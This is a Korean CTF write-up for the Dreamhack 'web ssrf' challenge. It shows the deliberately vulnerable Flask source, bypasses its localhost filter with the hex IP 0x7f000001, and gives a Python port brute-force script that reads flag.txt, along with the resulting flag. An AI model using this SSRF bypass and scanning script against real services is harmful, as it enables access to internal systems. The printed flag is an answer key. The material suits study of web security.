[Dreamhack] web ssrf - Write up

2021. 8. 23. 09:24카테고리 없음

문제

 

 

 

 

분석

 

 

 

 

#!/usr/bin/python3
from flask import (
    Flask,
    request,
    render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()  # Flag is here!!
except:
    FLAG = "[**FLAG**]"


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)


local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)


def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())

app.run(host="0.0.0.0", port=8000, threaded=True)

 

 

필터링 하는 부분이 있는 것 같으므로, 살펴보면

 

        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()

 

입력만 문자열 안에 "localhost" , "127.0.0.1" 이 있다면 error.png을 반환해 줍니다. 

in 으로 확인 하기 때문에 locallocalhosthost 처럼은 안되고..

 

 

127.0.0.1의 hex값을 넣어서 풀어보겠습니다.

 

또 따른 방법으로는 0.0.0.0을 이용하는 것도 될것 같습니다.

 

그럼 저는 hex로 풀어보겠습니다.

 

https://0x7f000001:+port+/flag.txt

 

 

 

PORT

 

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)

 

PORT 번호는 1500~1800 사이에 무작위로 있습니다. 이를 찾기 위해서

 

포트 스캔...... 은 불법이고, 손으로 노가다는 너무 비효율 적이므로 범위 대입을 하겠습니다. (포트 스캔을 써도 찾을 수 있나..?)

 

import requests
 
url= "http://host1.dreamhack.games:9408/img_viewer"
for i in range(1500,1801):
   response = requests.post(url, data={'url':'http://0x7f000001:'+str(i)+'/flag.txt'})
   data = response.text
   print('http://0x7f000001:'+str(i)+'/flag.txt')

 

 

 

 

 

계속 대입 하다 보면..

 

1646번 포트인 것을 확인 할 수 있습니다.

base64, REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9 이 flag인 것 같습니다. 

 

사이트에서도 한번 시도해 보면.

 

 

Base64 Decode and Encode - Online

 

 

정답

 

DH{43dd2189056475a7f3bd11456a17ad71}